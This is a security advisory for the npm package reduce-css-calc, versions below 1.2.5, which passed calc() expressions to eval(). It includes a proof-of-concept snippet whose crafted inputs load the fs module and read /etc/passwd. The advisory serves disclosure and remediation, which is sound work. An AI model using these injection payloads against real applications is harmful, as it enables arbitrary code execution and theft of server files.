Arbitrary Code Injection Affecting reduce-css-calc Open this link in a new tab package, versions <1.2.5
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.Test your applications
17 Oct 2016
20 Aug 2016
Сковорода Никита Андреевич (ChALkeR)
reduce-css-calc is a package that reduces CSS calc() function to the maximum. Affected versions of the package used
eval() for evaluation the expression, allowing the attacker to gain arbitrary code execution via specially crafted input.
const reduceCSSCalc = require('reduce-css-calc'); console.log(reduceCSSCalc(`calc( (Buffer(10000)))`)); console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`)); console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
reduce-css-calc version 1.2.5 or greater.